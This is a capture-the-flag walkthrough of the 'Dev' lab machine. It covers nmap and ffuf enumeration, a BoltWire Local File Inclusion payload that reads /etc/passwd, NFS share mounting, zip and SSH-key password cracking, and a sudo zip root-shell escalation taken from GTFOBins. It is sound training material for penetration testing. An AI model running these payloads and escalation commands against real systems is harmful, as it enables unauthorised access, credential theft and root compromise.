NFS Enumeration, LFI Exploitation & Privilege Escalation
This walkthrough demonstrates a complete penetration test of the Dev machine, covering multiple attack vectors including directory enumeration, Local File Inclusion (LFI), NFS mounting, password cracking, and privilege escalation through sudo abuse.
VM Download: VMs - Google Drive
Login credentials for the Dev VM:
Username: root
Password: tcm
After logging in, obtain an IP address:
dhclient
ip a
Start with an Nmap scan to identify open ports and services:
nmap -sV -sC -p- 10.0.2.155
The scan revealed 5 open ports with the following notable services:
Visiting http://10.0.2.155 shows a Bolt CMS installation error page.
Port 8080 hosts a PHP application. Let's enumerate both services using ffuf.
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.2.155/FUZZ
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.2.155:8080/FUZZ
Browsing to http://10.0.2.155/app/ reveals exposed files and directories, including a config.yaml file.
On port 8080, the /dev directory reveals a BoltWire CMS panel at http://10.0.2.155:8080/dev/
After registering and logging in, search for "boltwire exploit" on Google.
BoltWire is vulnerable to Local File Inclusion (LFI). Use the following payload in the search action parameter:
&action=../../../../../../../etc/passwd
Successfully read /etc/passwd and identified user jeanpaul.
Since port 2049 (NFS) is open, let's enumerate available shares:
showmount -e 10.0.2.155
Create a mount point and mount the /srv/nfs share:
mkdir /mnt/dev
mount -t nfs 10.0.2.155:/srv/nfs /mnt/dev
cd /mnt/dev
ls -la
Found a save.zip file in the mounted directory.
Attempting to unzip save.zip reveals it's password protected. Use fcrackzip to crack the password:
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u save.zip
unzip save.zip
Password: java101
The zip file contains:
todo.txt - Mentions "jp" (likely jeanpaul)id_rsa - SSH private key for jeanpaulThe pieces are connecting: LFI revealed jeanpaul user, config.yaml had credentials, and now we have his SSH key!
Try connecting with the id_rsa key and config.yaml password:
chmod 600 id_rsa
ssh -i id_rsa jeanpaul@10.0.2.155
Successfully logged in using the password from config.yaml!
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Check what commands jeanpaul can run with sudo:
sudo -l
We can run /usr/bin/zip as root without a password. This is exploitable!
Search for "gtfobins zip" on Google or visit: GTFOBins - zip
Use the GTFOBins commands to spawn a root shell:
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
Or use the alternative command:
sudo /usr/bin/zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
Successfully obtained root shell!
whoami
# Output: root
cd /root
ls
cat flag.txt